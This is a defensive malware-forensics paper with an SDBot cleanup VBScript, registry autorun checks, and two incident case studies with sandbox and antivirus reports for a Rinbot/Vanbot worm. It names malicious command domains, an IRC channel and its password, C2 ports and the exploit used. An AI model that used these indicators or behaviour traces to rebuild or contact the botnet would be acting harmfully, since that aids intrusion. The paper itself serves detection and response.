'CRC32: 36E8176E
'File Type: PE Executable
'
'To make this a silent script just rem out the Wscript.Echo lines

Wscript.Echo "SDBot Cleanup Script 2 - Click OK to proceed"

Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."



' Check to see if infected marker [run key] exists
'
Set objRegistry=GetObject("winmgmts:\\" & _
    strComputer & "\root\default:StdRegProv")

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
strValueName = "Microsoft"
objRegistry.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

If IsNull(strValue) Then
    Wscript.Echo "The registry key does not exist - This system does not seem to be infected - Script 
Stopped"
    Wscript.Quit
Else

' If infected marker [run key] exists, then grab filename and terminate process
'
Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name ='" & strValue &"'")
For Each objProcess in colProcessList
    objProcess.Terminate()
Next

'Pause for 10 seconds
'
Wscript.Sleep 10000

' Check to see if infected file exists, if so then delete it
'
Set objFSO = CreateObject("Scripting.FileSystemObject")
Const ReadOnly = 1

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("C:\windows\system32\" & strValue)

If objFile.Attributes AND ReadOnly Then
    objFile.Attributes = objFile.Attributes XOR ReadOnly
End If

If objFSO.FileExists("C:\windows\system32\" & strValue) Then
objFSO.DeleteFile("C:\windows\system32\" & strValue)

Else
    Wscript.Echo "The file does not exist - Script Stopped."
    Wscript.Quit
End If

' Remove the Sdbot variant registry keys
'
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
strValueName = "Microsoft"
objRegistry.DeleteValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName
objRegistry.DeleteValue HKEY_CURRENT_USER, strKeyPath, strValueName

strKeyPath = "Software\Microsoft\Windows\CurrentVersion\RunServices"
strValueName = "Microsoft"
objRegistry.DeleteValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName

End If

Wscript.Echo "Script completed - This system should now be clean"

Clean Boot Disks

Using live Linux or a PE boot disk, such as Bart_PE can be very handy, not only in clean booting a 
suspected system but also in scanning the same system with little or no risk that any malcode will 
still be active on it. It needs not be a CD or DVD [from an ISO image], it could also be an external 
USB hard disk or a USB flash drive instead.

Techniques

Check the relevant registry keys for odd entries, common ones used include:
HKEY_LOCAL_MACHINE



Software/Microsoft/Windows/CurrentVersion/Run

Software/Microsoft/Windows/CurrentVersion/RunOnce

Software/Microsoft/Windows/CurrentVersion/RunOnceX

HKEY_CURRENT_USER

Software/Microsoft/Windows/CurrentVersion/Run

Software/Microsoft/Windows/CurrentVersion/RunOnce

However, there are lots of others that are used, mis-used and created by malware. Other than do this 
by hand you could use a tool such as AutoRuns, HijackThis or WinPatrol instead.

Real World Example 1

User noticed that their anti-virus was disabled, and so reported it to the helpdesk of the company 
affected.

The local support teams noticed that the system that had its anti-virus software disabled was making 
lots of outbound DNS lookups for odd websites that were not business related.

Further investigation of the suspected system found a file that looked to be involved, a sample was 
acquired and analysed in several sandboxes as well as tested against 30+ anti-malware tools; very 
few reported the file as either suspicious or infected.

Here’s part of the analysis report, along with recommendations for remediation and suggestions for 
improvements to the protection of their infrastructure, including an early warning system:

Overview:

This malware is a share crawling parasitic file infector [virus] that once executed on a new system 
will create a number of new files [ 4 DLLs and 1 Sys file].  These are listed below:

• %Windir%\%SYSDIR%\lv362285.dl_ 

• %Windir%\%SYSDIR%\lv362285.dll 

• %Windir%\%SYSDIR%\uo105244.dl_ 

• %Windir%\%SYSDIR%\uo105244.dll 

• %Windir%\%SYSDIR%\drivers\mhqook.sys

It then proceeds to attempt to connect to the following domain names and download files found 
hosted there. This may include other malware components such as KillWin, bot clients, spyware, 
adware, other Trojans, etc. These may also perform a similar routine, which can quickly turn a clean 
system into a heavily infected one.

• makemegood24.com 

• 446df1.makemegood24.com 

• aaakemegood24.com 

• perfectchoice1.com 

• 4475e1.perfectchoice1.com 

• bparfectchoice1.com.local 

• cash-ddt.net

As part  of  this  download process,  it  may disable  any security  software  on the  newly  infected 
system, including personal firewalls and anti-virus processes.

The next phase is for the original malware file to search for new files [Windows 32bit PE file-types] 
to infect on the local machine and all systems that the newly infected system has access to, such as 
Windows shares. All infected files will grow by 57,344 bytes.

Recommendations:



1. Block all DNS activity to the domains used by the malware, as this will help to minimise the 
impact to that of the original installed malware. This can be achieved via a number of ways, 
such as DNS Black-holing [Nul Routing] those domain names, or blocking access to the 
domains via URL filtering at the proxy or other internet gateway.

2. Identify all infected systems and remove them from the network until remediated, preferably 
by re-imaging, or from a known clean backup.

3. Up-date all anti-virus tools used to latest version and/or ensure if you are using McAfee 
VirusScan that Access Protection is enabled [see below] and configured to disable files to be 
created/modified in the Windows and Windows\System directories. You can also block all 
IRC traffic via this feature.

4. Once all systems on the network are clean, then the following should be installed on all 
systems and configured to minimise a repeat of this incident:

• Up-to-date  anti-virus  with  on-access  scanning  enabled  by  default,  and  Access 
Protection and Buffer Overflow protection enabled by default  [assuming McAfee 
VirusScan 8.x or later used].

• Personal  firewall  installed and correctly  configured [preferably  locked].  This  can 
raise  the  alarm when new [unknown or  modified]  programs  or  processes  try  to 
'phone home' or otherwise access the internet.

• Ensure that all systems are patched as soon as possible by new patches released by 
vendors.

The following should also be considered for use as part of an early warning system and to 
help speed up identification of newly, or missed infected systems.

• WormCharmer [SMB-Lure] or similar honeypot/honeynet. This acts as a sacrificial 
goat  and  is  designed  to  be  attacked  by  malware  [new  or  old]  without  risking 
infecting the host or your network.

• IDS or IPS; this can be as simple as using SNORT with freely available 
malware/exploit detection signatures [rules] to identify a possible infected system. 

Real World Example 2

An unknown malware was causing clients running anti-virus on a network to lose connection to the 
anti-virus management server. So, with the help of local resources on site we managed to obtain a 
sample which was suspected to be the culprit.

The anti-virus deployed on the network and workstations did not detect the malware as it was brand 
new.



The following data allowed me to understand what the malware was doing and from this clean-up 
scripts could be created as well as blocking the infection vector used by the malware.

I leave it as an exercise to the reader to try and work out what this specific malware does when it is 
executed. Consider it a test of your knowledge.

CWSandbox Results:
Analysis Number   1

Parent ID 0

Process ID 588

Filename c:\temp\ff37e574c7694879ff73777886a82dee.exe

Filesize 215040 bytes

MD5 ff37e574c7694879ff73777886a82dee

Start Reason AnalysisTarget

Termination Reason NormalTermination

Start Time 00:00.218

Stop Time 00:04.281

DLL-Handling 

Loaded DLLs

c:\temp\ff37e574c7694879ff73777886a82dee.exe

C:\WINDOWS\System32\ntdll.dll

C:\WINDOWS\system32\kernel32.dll

C:\WINDOWS\system32\user32.dll

C:\WINDOWS\system32\GDI32.dll

C:\WINDOWS\system32\ADVAPI32.dll

C:\WINDOWS\system32\RPCRT4.dll

C:\WINDOWS\system32\MPR.dll

C:\WINDOWS\System32\ODBC32.dll

C:\WINDOWS\system32\msvcrt.dll

C:\WINDOWS\system32\COMCTL32.dll

C:\WINDOWS\system32\SHELL32.dll

C:\WINDOWS\system32\SHLWAPI.dll

C:\WINDOWS\system32\comdlg32.dll

C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.1612_x-ww_7c379b08\

C:\WINDOWS\System32\odbcint.dll

C:\WINDOWS\system32\WININET.dll

C:\WINDOWS\system32\CRYPT32.dll

C:\WINDOWS\system32\MSASN1.dll

C:\WINDOWS\system32\OLEAUT32.dll

C:\WINDOWS\system32\OLE32.DLL

C:\WINDOWS\System32\WS2_32.dll

C:\WINDOWS\System32\WS2HELP.dll

C:\WINDOWS\System32\wsock32.dll

C:\WINDOWS\System32\pstorec.dll

C:\WINDOWS\System32\ATL.DLL

C:\WINDOWS\System32\Wship6.dll

C:\WINDOWS\System32\iphlpapi.dll

C:\WINDOWS\System32\Secur32.dll

user32.dll

USER32.dll



Filesystem 

New Files

C:\WINDOWS\System32\crsss.exe

Opened Files

\SystemRoot\AppPatch\sysmain.sdb

\SystemRoot\AppPatch\systest.sdb

\Device\NamedPipe\ShimViewer

C:\WINDOWS\System32\crsss.exe

Chronological order

Copy File: c:\temp\ff37e574c7694879ff73777886a82dee.exe to C:\WINDOWS\System32\crsss.exe

Open File: \SystemRoot\AppPatch\sysmain.sdb (OPEN_EXISTING)

Open File: \SystemRoot\AppPatch\systest.sdb (OPEN_EXISTING)

Open File: \Device\NamedPipe\ShimViewer (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\crsss.exe ()

Find File: crsss.exe

Registry 

Process Management Creates Process - Filename () CommandLine: (C:\WINDOWS\System32\crsss.exe --
install c:\temp\ff37e574c7694879ff73777886a82dee.exe) As User: () Creation Flags: (DETACHED_PROCESS)

Kill Process - Filename () CommandLine: () Target PID: (588) As User: () Creation Flags: ()

System Info Get System Directory

The following process was started by process: 1

Analysis Number 2

Parent ID 1

Process ID 1020

Filename C:\WINDOWS\System32\crsss.exe --install c:\temp\ff37e574c7694879ff73777886a82dee.exe

Filesize 215040 bytes

MD5 ff37e574c7694879ff73777886a82dee

Start Reason CreateProcess

Termination Reason NormalTermination

Start Time 00:03.750

Stop Time 01:00.531

DLL-Handling 

Loaded DLLs

C:\WINDOWS\System32\crsss.exe

C:\WINDOWS\System32\ntdll.dll

C:\WINDOWS\system32\kernel32.dll

C:\WINDOWS\system32\user32.dll

C:\WINDOWS\system32\GDI32.dll

C:\WINDOWS\system32\ADVAPI32.dll

C:\WINDOWS\system32\RPCRT4.dll

C:\WINDOWS\system32\MPR.dll

C:\WINDOWS\System32\ODBC32.dll

C:\WINDOWS\system32\msvcrt.dll

C:\WINDOWS\system32\COMCTL32.dll

C:\WINDOWS\system32\SHELL32.dll

C:\WINDOWS\system32\SHLWAPI.dll

C:\WINDOWS\system32\comdlg32.dll

C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.1612_x-ww_7c379b08\

C:\WINDOWS\System32\odbcint.dll



C:\WINDOWS\system32\WININET.dll

C:\WINDOWS\system32\CRYPT32.dll

C:\WINDOWS\system32\MSASN1.dll

C:\WINDOWS\system32\OLEAUT32.dll

C:\WINDOWS\system32\OLE32.DLL

C:\WINDOWS\System32\WS2_32.dll

C:\WINDOWS\System32\WS2HELP.dll

C:\WINDOWS\System32\wsock32.dll

C:\WINDOWS\System32\pstorec.dll

C:\WINDOWS\System32\ATL.DLL

C:\WINDOWS\System32\Wship6.dll

C:\WINDOWS\System32\iphlpapi.dll

C:\WINDOWS\System32\Secur32.dll

user32.dll

psapi.dll

SHLWAPI.dll

VERSION.dll

shell32.dll

Filesystem 

New Files

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\WER7.tmp.dir00\appcompat.txt

Opened Files

\\.\PIPE\lsarpc

C:\WINDOWS\System32\advapi32.dll

C:\WINDOWS\System32\advapi32.dll

C:\WINDOWS\System32\gdi32.dll

C:\WINDOWS\System32\gdi32.dll

C:\WINDOWS\System32\kernel32.dll

C:\WINDOWS\System32\kernel32.dll

C:\WINDOWS\System32\ntdll.dll

C:\WINDOWS\System32\ntdll.dll

C:\WINDOWS\System32\ole32.dll

C:\WINDOWS\System32\ole32.dll

C:\WINDOWS\System32\oleaut32.dll

C:\WINDOWS\System32\oleaut32.dll

C:\WINDOWS\System32\shell32.dll

C:\WINDOWS\System32\shell32.dll

C:\WINDOWS\System32\user32.dll

C:\WINDOWS\System32\user32.dll

C:\WINDOWS\System32\WININET.DLL

C:\WINDOWS\System32\WININET.DLL

C:\WINDOWS\System32\winsock.dll

C:\WINDOWS\System32\winsock.dll

\SystemRoot\AppPatch\sysmain.sdb

\SystemRoot\AppPatch\systest.sdb

\Device\NamedPipe\ShimViewer

C:\WINDOWS\System32\dwwin.exe

C:\WINDOWS\System32\drwtsn32.exe



Deleted Files

c:\temp\ff37e574c7694879ff73777886a82dee.exe

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\WER7.tmp.dir00\appcompat.txt

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\WER7.tmp

Chronological order

Delete File: c:\temp\ff37e574c7694879ff73777886a82dee.exe

Get File Attributes: C:\WINDOWS\ Flags: (SECURITY_ANONYMOUS)

Open File: \\.\PIPE\lsarpc (OPEN_EXISTING)

Create File: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\WER7.tmp.dir00\appcompat.txt

Find File: C:\WINDOWS\System32\*

Open File: C:\WINDOWS\System32\advapi32.dll ()

Find File: advapi32.dll

Open File: C:\WINDOWS\System32\advapi32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\gdi32.dll ()

Find File: gdi32.dll

Open File: C:\WINDOWS\System32\gdi32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\kernel32.dll ()

Find File: kernel32.dll

Open File: C:\WINDOWS\System32\kernel32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\ntdll.dll ()

Find File: ntdll.dll

Open File: C:\WINDOWS\System32\ntdll.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\ole32.dll ()

Find File: ole32.dll

Open File: C:\WINDOWS\System32\ole32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\oleaut32.dll ()

Find File: oleaut32.dll

Open File: C:\WINDOWS\System32\oleaut32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\shell32.dll ()

Find File: shell32.dll

Open File: C:\WINDOWS\System32\shell32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\user32.dll ()

Find File: user32.dll

Open File: C:\WINDOWS\System32\user32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\WININET.DLL ()

Find File: WININET.DLL

Open File: C:\WINDOWS\System32\WININET.DLL (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\winsock.dll ()

Find File: winsock.dll

Open File: C:\WINDOWS\System32\winsock.dll (OPEN_EXISTING)

Open File: \SystemRoot\AppPatch\sysmain.sdb (OPEN_EXISTING)

Open File: \SystemRoot\AppPatch\systest.sdb (OPEN_EXISTING)

Open File: \Device\NamedPipe\ShimViewer (OPEN_EXISTING)

Open File: C:\WINDOWS\System32\dwwin.exe ()

Find File: dwwin.exe

Delete File: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\WER7.tmp.dir00\appcompat.txt

Delete File: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\WER7.tmp

Open File: C:\WINDOWS\System32\drwtsn32.exe ()



Find File: drwtsn32.exe

Mutexes Creates Mutex: CRSSSSSSSS

Registry 

Changes

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Win32 Security Service" = 
C:\WINDOWS\System32\crsss.exe

Reads

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Win32 Security Service"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "DoReport"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "ShowUI"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "AllOrNone"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "IncludeMicrosoftApps"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "IncludeWindowsApps"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "DoTextLog"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "IncludeKernelFaults"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "IncludeShutdownErrs"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "NumberOfFaultPipes"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "NumberOfHangPipes"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "MaxUserQueueSize"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting "ForceQueueMode"

HKEY_LOCAL_MACHINE\System\Setup "SystemSetupInProgress"

HKEY_LOCAL_MACHINE\Software\Microsoft\PCHealth\ErrorReporting\ExclusionList "crsss.exe"

Process Management Creates Process - Filename () CommandLine: (C:\WINDOWS\System32\dwwin.exe -x -s 
1556) As User: () Creation Flags: (CREATE_DEFAULT_ERROR_MODE)

Kill Process - Filename () CommandLine: () Target PID: (1300) As User: () Creation Flags: ()

Kill Process - Filename () CommandLine: () Target PID: (1020) As User: () Creation Flags: ()

Enum Processes

Enum Modules - Target PID: (1020)

Enum Modules - Target PID: (1020)

Open Process - Filename () Target PID: (4)

Open Process - Filename () Target PID: (592)

Open Process - Filename () Target PID: (640)

Open Process - Filename () Target PID: (664)

Open Process - Filename () Target PID: (708)

Open Process - Filename () Target PID: (724)

Open Process - Filename () Target PID: (744)

Open Process - Filename () Target PID: (880)

Open Process - Filename () Target PID: (948)

Open Process - Filename () Target PID: (1060)

Open Process - Filename () Target PID: (1204)

Open Process - Filename () Target PID: (1256)

Open Process - Filename (C:\WINDOWS\Explorer.EXE) Target PID: (1424)

Open Process - Filename () Target PID: (1544)

Open Process - Filename () Target PID: (1948)

System Info Get System Directory

User Management Revert To Self

Network Activity 

The following process was started by process: 2

Analysis Number 3



Parent ID 2

Process ID 1108

Filename C:\WINDOWS\System32\dwwin.exe -x -s 1556

Filesize 180224 bytes

MD5 9a02cc6c840d09ae5ba5758d4adc451c

Start Reason CreateProcess

Termination Reason Timeout

Start Time 00:06.359

Stop Time 01:00.453

DLL-Handling 

Loaded DLLs

C:\WINDOWS\System32\dwwin.exe

C:\WINDOWS\System32\ntdll.dll

C:\WINDOWS\system32\kernel32.dll

C:\WINDOWS\system32\ADVAPI32.DLL

C:\WINDOWS\system32\RPCRT4.dll

C:\WINDOWS\system32\COMCTL32.DLL

C:\WINDOWS\system32\GDI32.dll

C:\WINDOWS\system32\USER32.dll

C:\WINDOWS\system32\OLEAUT32.DLL

C:\WINDOWS\system32\MSVCRT.DLL

C:\WINDOWS\system32\OLE32.DLL

C:\WINDOWS\system32\SHELL32.DLL

C:\WINDOWS\system32\SHLWAPI.dll

C:\WINDOWS\system32\VERSION.DLL

C:\WINDOWS\system32\WININET.DLL

C:\WINDOWS\system32\CRYPT32.dll

C:\WINDOWS\system32\MSASN1.dll

C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.1612_x-ww_7c379b08\

C:\WINDOWS\System32\wsock32.dll

C:\WINDOWS\System32\WS2_32.dll

C:\WINDOWS\System32\WS2HELP.dll

C:\WINDOWS\System32\pstorec.dll

C:\WINDOWS\System32\ATL.DLL

C:\WINDOWS\System32\Wship6.dll

C:\WINDOWS\System32\iphlpapi.dll

C:\WINDOWS\System32\Secur32.dll

.\UxTheme.dll

imm32.dll

ole32.dll

riched20.dll

shfolder.dll

shell32.dll

PSAPI.DLL

C:\WINDOWS\System32\1033\dwintl.dll

comctl32.dll

RASAPI32.DLL

RTUTILS.DLL



SHELL32.dll

netapi32.dll

Filesystem 

New Files

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\D011.dmp

Opened Files

\\.\PIPE\lsarpc

c:\autoexec.bat

Chronological order

Get File Attributes: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp Flags: (SECURITY_ANONYMOUS)

Create File: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\D011.dmp

Open File: \\.\PIPE\lsarpc (OPEN_EXISTING)

Get File Attributes: c:\autoexec.bat Flags: (SECURITY_ANONYMOUS)

Open File: c:\autoexec.bat (OPEN_EXISTING)

Find File: C:\Documents and Settings\All Users\Application 
Data\Microsoft\Network\Connections\Pbk\*.pbk

Find File: C:\WINDOWS\System32\Ras\*.pbk

Find File: C:\Documents and Settings\Administrator\Application 
Data\Microsoft\Network\Connections\Pbk\*.pbk

INI Files 

Read INI File

WIN.INI [windows] ScrollInset =

WIN.INI [windows] DragDelay =

WIN.INI [windows] DragMinDist =

WIN.INI [windows] ScrollDelay =

WIN.INI [windows] ScrollInterval =

WIN.INI [richedit30] flags =

Mutexes Creates Mutex: RasPbFile

Registry 

Reads

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion "DigitalProductId"

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings "Anchor Color"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AeDebug "Debugger"

Process Management Enum Modules - Target PID: (1020)

Service Management Open Service Manager - Name: "SCM"

System Info Get System Directory

Get Computer Name

User Management Impersonate User - Domain: () User: (Administrator)

Virtual Memory VM Read - Target: (1020) Address: ($0012F340) Size: (8)

VM Read - Target: (1020) Address: ($0012F42C) Size: (80)

VM Read - Target: (1020) Address: ($0012F448) Size: (716)

VM Read - Target: (1020) Address: ($7FFDE000) Size: (28)

VM Read - Target: (1020) Address: ($7FFE0284) Size: (256)

VM Read - Target: (1020) Address: ($7FFDD000) Size: (28)

VM Read - Target: (1020) Address: ($7FFDC000) Size: (28)

VM Read - Target: (1020) Address: ($7FFDB000) Size: (28)

VM Read - Target: (1020) Address: ($7FFDA000) Size: (28)

VM Read - Target: (1020) Address: ($7FFD9000) Size: (28)

Window Enum Windows



Analysis Number 4

Parent ID 0

Process ID 708

Filename 

Filesize -1 bytes

MD5 

Start Reason SCM

Termination Reason Unknown

Start Time 00:08.187

Stop Time 00:00.000

Analysis Number 5

Parent ID 0

Process ID 708

Filename 

Filesize -1 bytes

MD5 

Start Reason SCM

Termination Reason Unknown

Start Time 00:08.203

Stop Time 00:00.000

File analysis:

Here is  a  another  analysis  of the same file,  using Norman Sandbox,  a  virus scanning service 
[similar to Jotti or VirusTotal], FileAlyzer as well as some comments about what the malware does.
FileName: crsss.exe

FileDateTime: 04/03/2007 16:37:16

Filesize: 215040

MD5: ff37e574c7694879ff73777886a82dee

CRC32: 493C2838

File Type: PE Executable

============================================================

Norman SandBox Reporter

http://www.norman.com/Product/Sandbox-products/Reporter/

crsss.exe : Not detected by Sandbox (Signature: NO_VIRUS)

 [ General information ]

    * File length:       215040 bytes.

    * MD5 hash: ff37e574c7694879ff73777886a82dee.

(C) 2004-2006 Norman ASA. All Rights Reserved.

============================================================

Scan report of: crsss.exe

@Proventia-VPS Malicious (Cancelled)

AntiVir TR/Rinbot.F

Avast! -

AVG Win32/CryptExe

BitDefender Backdoor.Vanbot.R

ClamAV -

Command -

Dr Web BackDoor.IRC.Sdbot.1142



eSafe Win32.Rinbot.A

eTrust-VET Win32/Nirbot.V

eTrust-VET (BETA) Win32/Nirbot.V

Ewido -

F-Prot -

F-Secure Backdoor.Win32.VanBot.ay

F-Secure (BETA) Backdoor.Win32.VanBot.ay

Fortinet W32/RINBOT.L!worm

Fortinet (BETA) W32/RINBOT.L!worm

Ikarus Trojan.Win32.Rinbot.F

Kaspersky Backdoor.Win32.VanBot.ay

McAfee W32/Sdbot.worm.gen.ai

McAfee (BETA) W32/Sdbot.worm.gen.ai

Microsoft -

Nod32 Win32/Rinbot.F trojan

Norman -

Panda W32/Vanbot.M.worm

Panda (BETA) W32/Vanbot.M.worm

QuickHeal -

Rising -

Sophos W32/Delbot-O

Symantec W32.Rinbot.A

Symantec (BETA) W32.Rinbot.A

Trend Micro WORM_RINBOT.L

Trend Micro (BETA) WORM_RINBOT.L

UNA Backdoor.VanBot.CFC6  

VBA32 Trojan.Win32.Rinbot.F

VirusBuster Backdoor.Vanbot.Gen!Pac

WebWasher Trojan.Rinbot.F

YY_Spybot -

============================================================

PEInfo (Copyright by McAfee) report of the submitted files: 

crsss.exe SZ:215040 EP:0x0008D35D DS: 0x45E7738D 2007-3-2 00:45:01

MD5:0xFF37E574C7694879FF73777886A82DEE

SectNum:8    VSIZE   : RVA     : FSIZE   : FOFF    : FLAGS   : CRC32 

0 : .text    0001C000: 00001000: 00000000: 00000400: E0000020: 00000000

1 : fabskl8p 00006000: 0001D000: 00000000: 00000400: E0000060: 00000000

2 : .data    00014000: 00023000: 00000000: 00000400: C0000040: 00000000

3 : .rsrc    00001000: 00037000: 00001000: 00000400: 40000040: 176A2128

4 : 99cvbjdu 00001000: 00038000: 00000000: 00001400: C0000040: 00000000

5 : ut7h7i2x 00022000: 00039000: 00000000: 00001400: E0000020: 00000000

6 : znnrn47v 00033000: 0005B000: 00032381: 00001400: E0000060: 64426022

7 : tdbkm0a1 00001000: 0008E000: 00001000: 00033800: 40000080: C9FCB827

RS:0x10000000560000074C0B54 RDS: 0x00000000 1970-1-1 00:00:00

*EP: 0xE8F7FEFFFF0574110000FFE0E8EBFEFFFF056B010000FFE0E804000000FFFFFF

IMPS: kernel32.dll(12), user32.dll(2)

============================================================

********************************************************************



FileAlyzer © 2003-2005 Patrick M. Kolla. All Rights Reserved.

********************************************************************

File: crsss.exe

Date: 08/03/2007 09:12:38

***** General ******************************************************

           Location: \\10.109.37.2\c\samples\mail\crsss2\

               Size: 215040

            Version: 

             CRC-32: 493C2838

                MD5: FF37E574C7694879FF73777886A82DEE

               SHA1: C4B2C067293E9F96CB56C1287D610664802F66F2

          Read only: Yes

             Hidden: No

        System file: No

          Directory: No

            Archive: Yes

      Symbolic link: No

         Time stamp: 04 March 2007 16:37:16

           Creation: 07 March 2007 21:47:12

        Last access: 08 March 2007 09:13:48

         Last write: 04 March 2007 16:37:16

***** PE Header ****************************************************

                    Signature: 00004550

                      Machine: 014C - Intel 386

           Number of sections: 0008

              Time/Date stamp: 45E7738D

      Pointer to symbol table: 00000000

            Number of symbols: 00000000

      Size of optional header: 00E0

              Characteristics: 0103

                        Magic: 010B

       Linker version (major): 08

       Linker version (minor): 00

                 Size of code: 0001C000

     Size of initialized data: 0000C000

   Size of uninitialized data: 00000000

       Address of entry point: 0008D35D

                 Base of code: 0005B000

                 Base of data: 0001D000

                   Image base: 00400000

            Section alignment: 00001000

               File alignment: 00000200

           OS version (major): 0004

           OS version (minor): 0000

        Image version (major): 0000

        Image version (minor): 0000

   Sub system version (major): 0004

   Sub system version (minor): 0000



                Win32 version: 00000000

                Size of image: 0008F000

              Size of headers: 00001000

                     Checksum: 00035CFB

                   Sub system: 0002 - Windows graphical user interface (GUI) subsystem

          DLL characteristics: 0000

        Size of stack reserve: 00100000

         Size of stack commit: 00001000

         Size of heap reserve: 00100000

          Size of heap commit: 00001000

                 Loader flags: 00000000

                Number of RVA: 00000010

***** PE Sections **************************************************

             CRC-32: EA3EE0E7

                MD5: E64AE8A957D5ED7FBEC48B998EBA21C5

----- PE Sections --------------------------------------------------

 Section VirtSize VirtAddr PhysSize PhysAddr    Flags 

   .text 0001C000 00001000 00000000 00000400 E0000020

fabskl8p 00006000 0001D000 00000000 00000400 E0000060

   .data 00014000 00023000 00000000 00000400 C0000040

   .rsrc 00001000 00037000 00001000 00000400 40000040

99cvbjdu 00001000 00038000 00000000 00001400 C0000040

ut7h7i2x 00022000 00039000 00000000 00001400 E0000020

znnrn47v 00033000 0005B000 00032381 00001400 E0000060

tdbkm0a1 00001000 0008E000 00001000 00033800 40000080

***** Import/Export table ******************************************

--- Export table ---------------------------------------------------

--- Import table (libraries: 2) ------------------------------------

  kernel32.dll (imports: 6)                                         

    GetModuleHandleA                                                

    LoadLibraryA                                                    

    GetProcAddress                                                  

    ExitProcess                                                     

    VirtualAlloc                                                    

    VirtualFree                                                     

  user32.dll (imports: 1)                                           

    MessageBoxA                                                     

============================================================

Further information:

It's doing lookups for:

x.rofflewaffles.us

x.pennysheet.com

crusade.godhatesfags.com

Tries to connect to IRC servers running on port 7998, and 8080. For 7998, it joins channel "##GHF" 
with password "weh4t3youall"

It uses the SYM06-010 exploit.

Further analysis showed that this file was also downloading other malware components.



In this case it was recommended that a range of ports were blocked; to stop the malware phoning 
home and joining it’s IRC channel where it would get new instructions.

Blocks were also put in place on the DNS, so that any requests for the three domain names would 
be effectively black-holed.

A clean-up script, similar to the VBS one shown earlier in this paper was used to disinfect systems, 
which were then patched with the required Microsoft update that the malware had used to infect the 
systems in the first place.

The anti-virus vendor eventually supplied detection and clean-up signatures;  however,  this took 
almost three full days from supplying them with the initial [confirmed] malware samples.

A number  of  other  recommendations  were  also  made  which  included  installing  early  warning 
systems and improved processes and procedures for dealing with future outbreaks.

Conclusions

Hopefully I have shown you that even if you are faced with a new malware threat that isn’t detected 
by your anti-malware defences you can still, in most cases, find the infection, how it got in, how it 
communicates and with the right tools and methodologies even remove it safely before your anti-
malware vendor comes up with a solution.

I must make clear that this is not a solution to be used by those not already used to handling and 
combating malware and other related security threats; home users need not apply, however most 
academic  campuses,  large  businesses  and  other  organisations  should  already  have  at  least  one 
person [hopefully more than one] who has the required skills and experience to be able to do this. 
They almost certainly already work in the security team [or a related function] and have a network 
of colleagues outside of the main security team that they can call on; such as programmers, network 
specialists, server and desktop support staff. In all these cases there should be full buy-in from 
management who are regularly kept up to date and who will deal with requests from more resources 
and handle any backlash from areas that are affected, either by the malware, or are suffering from 
collateral damage [loss of internet access, etc.].

As with other security threat, especially malware related ones, you need to deploy a multi-layered 
approach to minimise the chance of malware getting onto your computers. This means not only do 
you need good technological solutions, and overlapping technologies at that, but these need to be 
backed up with good security policies, procedures, education and constant vigilance.

Please do not see this paper as an exhaustive or complete look at detecting and combating new 
malware and malware forensics, to do this real justice would require enough material to fill a large 
book.
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Appendix B – So, you 'Think' your computer is infected, what should you do?

First question for you is:

Do you  have  anti-virus  installed  and  enabled,  and  is  it  up  to  date?  [Yes,  I  know that  is  two 
questions]

Second question for you is:

Do you have a firewall installed and enabled?

If you have XP then you can use the XP Firewall instead [if you must].

Third question for you is:

Do you have anti-spyware/adware installed and enabled?

Fourth question for you is:

Do you use Windows Update to ensure that your system is fully patched [at least once a week]?

